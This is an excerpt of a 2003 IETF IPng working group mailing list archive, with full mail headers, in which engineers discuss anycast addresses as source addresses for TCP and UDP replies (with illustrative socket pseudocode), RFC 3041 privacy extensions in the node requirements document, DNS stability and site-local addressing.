	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SNZW9r006723;
	Tue, 28 Jan 2003 15:35:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SNZSQb006713
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 15:35:28 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SNZaVL008151
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 15:35:36 -0800 (PST)
Received: from drugs.dv.isc.org (drugs.dv.isc.org [130.155.191.236])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA25346
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 15:35:30 -0800 (PST)
Received: from drugs.dv.isc.org (localhost [127.0.0.1])
	by drugs.dv.isc.org (8.12.6/8.12.6) with ESMTP id h0SNSCEN064115;
	Wed, 29 Jan 2003 10:28:12 +1100 (EST)
	(envelope-from marka@drugs.dv.isc.org)
Message-Id: <200301282328.h0SNSCEN064115@drugs.dv.isc.org>
To: Brian Haberman <bkhabs@nc.rr.com>
Cc: Mika Liljeberg <mika.liljeberg@welho.com>,
   Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
From: Mark.Andrews@isc.org
Subject: Re: a few comments on anycast mechanisms 
In-reply-to: Your message of "Tue, 28 Jan 2003 17:03:03 CDT."
             <3E36FE17.10001@nc.rr.com> 
Date: Wed, 29 Jan 2003 10:28:12 +1100
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> The RR mechanism for anycast already requires the ability to use
> the anycast address as a source address.  If we can get agreement
> on lifting that restriction, I like the idea of keeping changes
> out of TCP.

	Well you don't actually want it lifted.  You don't want a
	anycast address being used to *initiate* a transaction.
	You do however want to be able to *reply* using the anycast
	address.  For UDP this is will need to be enforced at the
	application layer, perhaps with an setsockopt so that the
	application can inform the stack that it knows that this
	is *potentially* a anycast addresss.  For TCP this can be
	enforced lower down the stack.

		e.g.

			bind(fd, <anycast>);
			connect(fd, <unicast>);

		should fail but

			int yes = 1;
			bind(fd, <anycast>);
			setsockopt(fd, ANYCASTSEND, &yes, sizeof(yes));
			sendto(fd, <unicast>);

		should succeed as should

			bind(fd, <anycast>);
			listen(fd, 3)
			fd2 = accept(fd);
			write(fd2, ...);

	Mark
--
Mark Andrews, Internet Software Consortium
1 Seymour St., Dundas Valley, NSW 2117, Australia
PHONE: +61 2 9871 4742                 INTERNET: Mark.Andrews@isc.org
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 17:44:24 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0T1iOQb007048;
	Tue, 28 Jan 2003 17:44:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0T1iOr0007047;
	Tue, 28 Jan 2003 17:44:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0T1iKQb007040
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 17:44:20 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0T1iSVL021194
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 17:44:28 -0800 (PST)
Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA09857
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 18:44:22 -0700 (MST)
From: john.loughney@nokia.com
Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0T1kmg13390
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 03:46:49 +0200 (EET)
Received: from esebh001.NOE.Nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T601471c295ac158f23077@esvir03nok.nokia.com>;
 Wed, 29 Jan 2003 03:44:20 +0200
Received: from esebe015.NOE.Nokia.com ([172.21.138.54]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Wed, 29 Jan 2003 03:44:18 +0200
Received: from esebe022.NOE.Nokia.com ([172.21.138.113]) by esebe015.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Wed, 29 Jan 2003 03:44:18 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: RE: Node Requirements and 3041
Date: Wed, 29 Jan 2003 03:44:17 +0200
Message-ID: <A16A3EE4D4CA124FADC7987B1AC89FE440EBFD@esebe022.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Node Requirements and 3041
Thread-Index: AcLG3Vct2w/TEfKfSTW8s/lkdPcroQAWm5lg
To: <brian@hursley.ibm.com>, <Francis.Dupont@enst-bretagne.fr>
Cc: <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 29 Jan 2003 01:44:18.0363 (UTC) FILETIME=[F002A8B0:01C2C737]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0T1iLQb007041
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Brian,

> I agree, after re-reading the formal definitions in RFC 2119. And I
> don't think we need any discussion text; the implications are already
> covered in 3041. 
> 
> The default can be left to the vendor IMHO.

I agree.  I have added the text:

   Privacy Extensions for Stateless Address Autoconfiguration [RFC-3041] 
   SHOULD be supported.  It is recommended that node behavior be configurable 
   when they are available.

br,
John

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 18:39:34 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0T2dYQb007346;
	Tue, 28 Jan 2003 18:39:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0T2dXTk007345;
	Tue, 28 Jan 2003 18:39:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0T2dUQb007338
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 18:39:30 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0T2dcVL005958
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 18:39:38 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA02552
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 18:39:32 -0800 (PST)
Subject: RE: Enforcing unreachability of site local addresses
Date: Tue, 28 Jan 2003 18:39:32 -0800
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B7D@server2000.arneill-py.sacramento.ca.us>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Content-class: urn:content-classes:message
Thread-Topic: Enforcing unreachability of site local addresses
X-MimeOLE: Produced By Microsoft Exchange V6.5.6803.0
Thread-Index: AcLG4d+cbIWQ5daYSuaXtu02EvUxqwAXRkVg
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Brian Carpenter" <brian@hursley.ibm.com>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0T2dUQb007339
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Brian,

>> Michel Py wrote:
>> ... There is nothing that says that the scalability
>> should come from aggregation either.

> Brian E Carpenter
> There certainly is, if you generalize "aggregation" to
> mean "abstraction and summarization" as noted above. But
> Noel has ranted on this subject so many times that I will
> stop here.

:-)

All that I have done is based on aggregation, but I have the uneasy
irrational feeling (with nothing specific to back it up) that I might
have been blinded by the light and did not look everywhere I could have.
But maybe it's just Fred's posting that makes me doubt.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 02:35:56 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TAZtQb008142;
	Wed, 29 Jan 2003 02:35:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TAZt37008141;
	Wed, 29 Jan 2003 02:35:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TAZqQb008134
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 02:35:52 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TAa0VK017894
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 02:36:01 -0800 (PST)
Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [194.196.100.235])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA27942
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 03:35:54 -0700 (MST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0TAZl2k057262;
	Wed, 29 Jan 2003 11:35:49 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0TAYSPC287750;
	Wed, 29 Jan 2003 11:34:30 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA40894 from <brian@hursley.ibm.com>; Wed, 29 Jan 2003 11:34:27 +0100
Message-Id: <3E37AE06.4D521B8C@hursley.ibm.com>
Date: Wed, 29 Jan 2003 11:33:42 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: David Conrad <david.conrad@nominum.com>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
References: <2D130B9F-32E7-11D7-BA7F-000393DB42B2@nominum.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

David Conrad wrote:
> 
> > ...  and unfortunately DNS is not as solid as you hope.
> 
> Oh?  Do tell.

I'm not insulting your software :-)

When addresses change, you have all the problems of propagation
delay and security for updates. 

So, even if x.example.com is stable in the sense of always
referring to the same functional entity, you can't assume
that it always resolves to a currently valid locator for
that entity, in a world where locators vary.

If we achieve stable locators, this problem largely goes away,
but stable names in themselves are insufficient IMHO.

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 03:25:41 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TBPfQb008356;
	Wed, 29 Jan 2003 03:25:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TBPfuX008355;
	Wed, 29 Jan 2003 03:25:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TBPcQb008348
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 03:25:38 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TBPlVL003760
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 03:25:48 -0800 (PST)
Received: from ms-smtp-03.southeast.rr.com (ms-smtp-03.southeast.rr.com [24.93.67.84])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA24718
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 04:25:42 -0700 (MST)
Received: from mail4.nc.rr.com (fe4 [24.93.67.51])
	by ms-smtp-03.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h0TBOii6027266;
	Wed, 29 Jan 2003 06:24:44 -0500 (EST)
Received: from nc.rr.com ([24.162.252.243]) by mail4.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.757.75);
	 Wed, 29 Jan 2003 06:26:38 -0500
Message-ID: <3E37B9A5.2020600@nc.rr.com>
Date: Wed, 29 Jan 2003 06:23:17 -0500
From: Brian Haberman <bkhabs@nc.rr.com>
Organization: Me? Organized??
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Mika Liljeberg <mika.liljeberg@welho.com>
CC: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
Subject: Re: a few comments on anycast mechanisms
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>	 <1043780822.18672.66.camel@devil>  <3E36FE17.10001@nc.rr.com> <1043795472.23047.2.camel@devil>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



Mika Liljeberg wrote:
> Hi Brian,
> 
> On Wed, 2003-01-29 at 00:03, Brian Haberman wrote:
> 
>>The RR mechanism for anycast already requires the ability to use
>>the anycast address as a source address.  If we can get agreement
>>on lifting that restriction, I like the idea of keeping changes
>>out of TCP.
> 
> 
> I just spotted the following: the RR mechanism sends HoT to the anycast
> address. How does that work? It might go to a completely different
> server.

There is an assumption that there won't be a routing change on
the anycast address between the first TCP SYN and the HoT.  Given
the other problems a routing change would have, I feel it is a
reasonable trade-off.

Brian

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 07:52:51 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TFqpQb008861;
	Wed, 29 Jan 2003 07:52:51 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0TFqokc008860;
	Wed, 29 Jan 2003 07:52:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0TFqlQb008853
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 07:52:47 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0TFqvVK011850
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 07:52:57 -0800 (PST)
Received: from c3po.skynet.be (c3po.skynet.be [195.238.3.237])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA20465
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 07:52:51 -0800 (PST)
Received: from tsn (206.134-136-217.adsl.skynet.be [217.136.134.206])
	by c3po.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.20) with ESMTP id h0TFqGY04888;
	Wed, 29 Jan 2003 16:52:16 +0100 (MET)
	(envelope-from <mario.goebbels@skynet.be>)
Message-Id: <200301291552.h0TFqGY04888@c3po.skynet.be>
From: "Mario Goebbels" <mario.goebbels@skynet.be>
To: "'Brian Haberman'" <bkhabs@nc.rr.com>,
   "'Mika Liljeberg'" <mika.liljeberg@welho.com>
Cc: "'Pekka Savola'" <pekkas@netcore.fi>, <ipng@sunroof.eng.sun.com>
Subject: RE: a few comments on anycast mechanisms
Date: Wed, 29 Jan 2003 16:52:16 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Mailer: Microsoft Outlook, Build 11.0.4523
In-Reply-To: <3E36FE17.10001@nc.rr.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3718.0
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> > I have a hard time seeing anycast TCP used in the global network or 
> > beyond selected applications in local networks. That being 
> the case, 
> > requiring that the client hosts to support MIPv6 route optimisation 
> > (with some tweaks) should not be that big a deal.
> > 
> 
> One of the big issues is just how will anycast be used.  We 
> know it can be used for resource discovery, but what else?
> 
> My opinion is that if we can get anycast and TCP to work 
> nicely together, other apps may take advantage of the feature.

I could imagine a few uses:

- Old fashioned download servers. I think those big hosting companies
like Conxion and Inktomi would be happy to see TCP to work together with
anycast.
- Mirrored webservers
- IRC networks (putting all IRC servers into one anycast group)

-mg

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 09:24:31 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THOUQb009168;
	Wed, 29 Jan 2003 09:24:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0THOUIg009167;
	Wed, 29 Jan 2003 09:24:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THOQQb009160
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:24:26 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0THOaVL013624
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:24:36 -0800 (PST)
Received: from esunmail ([129.147.58.122])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA27910
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:24:30 -0700 (MST)
Received: from xpa-fe2 (esunmail-ge1 [129.147.58.122])
 by edgemail1.Central.Sun.COM
 (iPlanet Messaging Server 5.2 HotFix 1.08 (built Dec  6 2002))
 with ESMTP id <0H9H00DFLKCU79@edgemail1.Central.Sun.COM> for
 ipng@sunroof.eng.sun.com; Wed, 29 Jan 2003 10:24:30 -0700 (MST)
Received: from sun.com ([66.93.78.11])
 by mail.sun.net (iPlanet Messaging Server 5.2 HotFix 1.08 (built Dec  6 2002))
 with ESMTPSA id <0H9H00ILSKCSAJ@mail.sun.net> for ipng@sunroof.eng.sun.com;
 Wed, 29 Jan 2003 10:24:30 -0700 (MST)
Date: Wed, 29 Jan 2003 09:25:30 -0800
From: Alain Durand <Alain.Durand@Sun.COM>
Subject: Re: Node Requirements and 3041
In-reply-to: <A16A3EE4D4CA124FADC7987B1AC89FE440EBFD@esebe022.ntc.nokia.com>
To: john.loughney@nokia.com
Cc: brian@hursley.ibm.com, Francis.Dupont@enst-bretagne.fr,
   ipng@sunroof.eng.sun.com
Message-id: <AA0C7F32-33AE-11D7-8514-00039376A6AA@sun.com>
MIME-version: 1.0
X-Mailer: Apple Mail (2.551)
Content-type: text/plain; charset=US-ASCII; format=flowed
Content-transfer-encoding: 7BIT
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


On Tuesday, January 28, 2003, at 05:44 PM, john.loughney@nokia.com 
wrote:
>
>    Privacy Extensions for Stateless Address Autoconfiguration 
> [RFC-3041]
>    SHOULD be supported.  It is recommended that node behavior be 
> configurable
>    when they are available.

There is a catch to this last sentence.
Using RFC3041-type addresses is IMHO not a property of node,
not a property of user context, and not even a property of applications.
This is a property of the specific connections within each application.

There are a number of things that are known not to work when 
RFC3041-type
addresses are in use, e.g. rlogin with the weak security provided by 
.rhost files,
anti-spam filters on some mail relays, reverse DNS, etc... On the other 
hand,
masking the mac address has some good properties for some apps.

So, having a configuration knob that is node-wide, user-wide or even
application-wide is too large, as a complex application may use
several connections, and RFC3041-type addresses may be fine for
some but damaging for others.

So it seems to me that the sensible way to go is to have a socket option
that application developers can use on a per socket basis.

I think some of this discussion should be capture in the node 
requirement document.

	- Alain.

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 09:26:55 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THQtQb009188;
	Wed, 29 Jan 2003 09:26:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0THQt6Y009187;
	Wed, 29 Jan 2003 09:26:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THQpQb009180
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:26:52 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0THR1VL014557
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:27:01 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA24443
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:26:55 -0700 (MST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0THQsxA031550;
	Wed, 29 Jan 2003 19:26:55 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0THQpMf031549;
	Wed, 29 Jan 2003 19:26:51 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Mark.Andrews@isc.org
Cc: Brian Haberman <bkhabs@nc.rr.com>, Pekka Savola <pekkas@netcore.fi>,
   ipng@sunroof.eng.sun.com
In-Reply-To: <200301282328.h0SNSCEN064115@drugs.dv.isc.org>
References: <200301282328.h0SNSCEN064115@drugs.dv.isc.org>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043861210.23051.21.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 29 Jan 2003 19:26:50 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Wed, 2003-01-29 at 01:28, Mark.Andrews@isc.org wrote:
> 	Well you don't actually want it lifted.  You don't want a
> 	anycast address being used to *initiate* a transaction.

Why not?

> 	You do however want to be able to *reply* using the anycast
> 	address.  For UDP this is will need to be enforced at the
> 	application layer, perhaps with an setsockopt so that the
> 	application can inform the stack that it knows that this
> 	is *potentially* a anycast addresss.  For TCP this can be
> 	enforced lower down the stack.
> 
> 		e.g.
> 
> 			bind(fd, <anycast>);
> 			connect(fd, <unicast>);
> 
> 		should fail but
> 			int yes = 1;
> 			bind(fd, <anycast>);
> 			setsockopt(fd, ANYCASTSEND, &yes, sizeof(yes));
> 			sendto(fd, <unicast>);

I don't think a socket option is needed. If an application binds
explicitly to anything other than :: it's only fair to assume that it
knows what it's doing.

Automatic source address selection should skip anycast addresses, of
course.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Wed Jan 29 09:35:19 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THZJQb009415;
	Wed, 29 Jan 2003 09:35:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0THZJWS009414;
	Wed, 29 Jan 2003 09:35:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0THZFQb009407
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:35:15 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0THZPVK010570
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 09:35:25 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA06519
	for <ipng@sunroof.eng.sun.com>; Wed, 29 Jan 2003 10:35:18 -0700 (MST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0THZXxA031602;
	Wed, 29 Jan 2003 19:35:34 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0THZVRX031601;
	Wed, 29 Jan 2003 19:35:31 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Brian Haberman <bkhabs@nc.rr.com>
Cc: Pekka Savola <pekkas@netcore.fi>, ipng@sunroof.eng.sun.com
